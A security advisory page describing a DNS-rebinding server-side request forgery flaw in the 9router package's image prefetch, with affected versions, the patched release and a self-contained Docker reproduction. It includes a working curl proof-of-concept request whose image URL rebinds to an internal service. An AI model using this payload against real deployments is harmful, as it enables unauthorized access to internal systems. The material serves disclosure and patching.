
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: <= 0.4.80
Patched in 0.5.2
Details
9router validates image URLs by resolving the host before fetching, but the later server-side fetch performs a separate DNS resolution. An attacker-controlled DNS name can resolve to a public IP during validation and then rebind to an internal Docker/private IP during the fetch. This allows the server-side image prefetch to reach internal-only HTTP services (SSRF).
v0.4.80 @ b282f05./v1/chat/completions with a vision-capable model and an
image_url content part. A vision-capable model name is required so the image survives
modality stripping and the server-side prefetch is armed.rebind.9r.test:
1.1.1.1 (public) to pass the public-host guard,172.29.0.10 (internal-admin) during the fetch.GET /ssrf-marker with peer=172.29.0.30 (the proxied-router
container), proving the server-side fetch landed on the internal service.POST /api/chat and the flow completes with HTTP 200.This repository is a self-contained Docker Compose reproduction. No real provider is called and no real API key is required.
docker compose up --build
internal-admin is unreachable from the host:
curl -i http://127.0.0.1:18083/ssrf-marker # connection refused / fail
docker compose ps # internal-admin has NO host port mapping
POST image-prefetch DNS rebinding trigger from
requests.http, or with curl:
curl -i -X POST http://127.0.0.1:18082/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{
"model": "ollama-local/gemma3",
"messages": [{"role":"user","content":[
{"type":"text","text":"reproduction image-prefetch trigger"},
{"type":"image_url","image_url":{"url":"http://rebind.9r.test:8080/ssrf-marker?case=rebind-trigger"}}
]}],
"stream": false
}'
EPSS, exploit probability
Low0.19%
estimated chance of real-world exploitation in the next 30 days, higher than 8.7% of every CVE FIRST.org scores
Refreshed 11/8/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.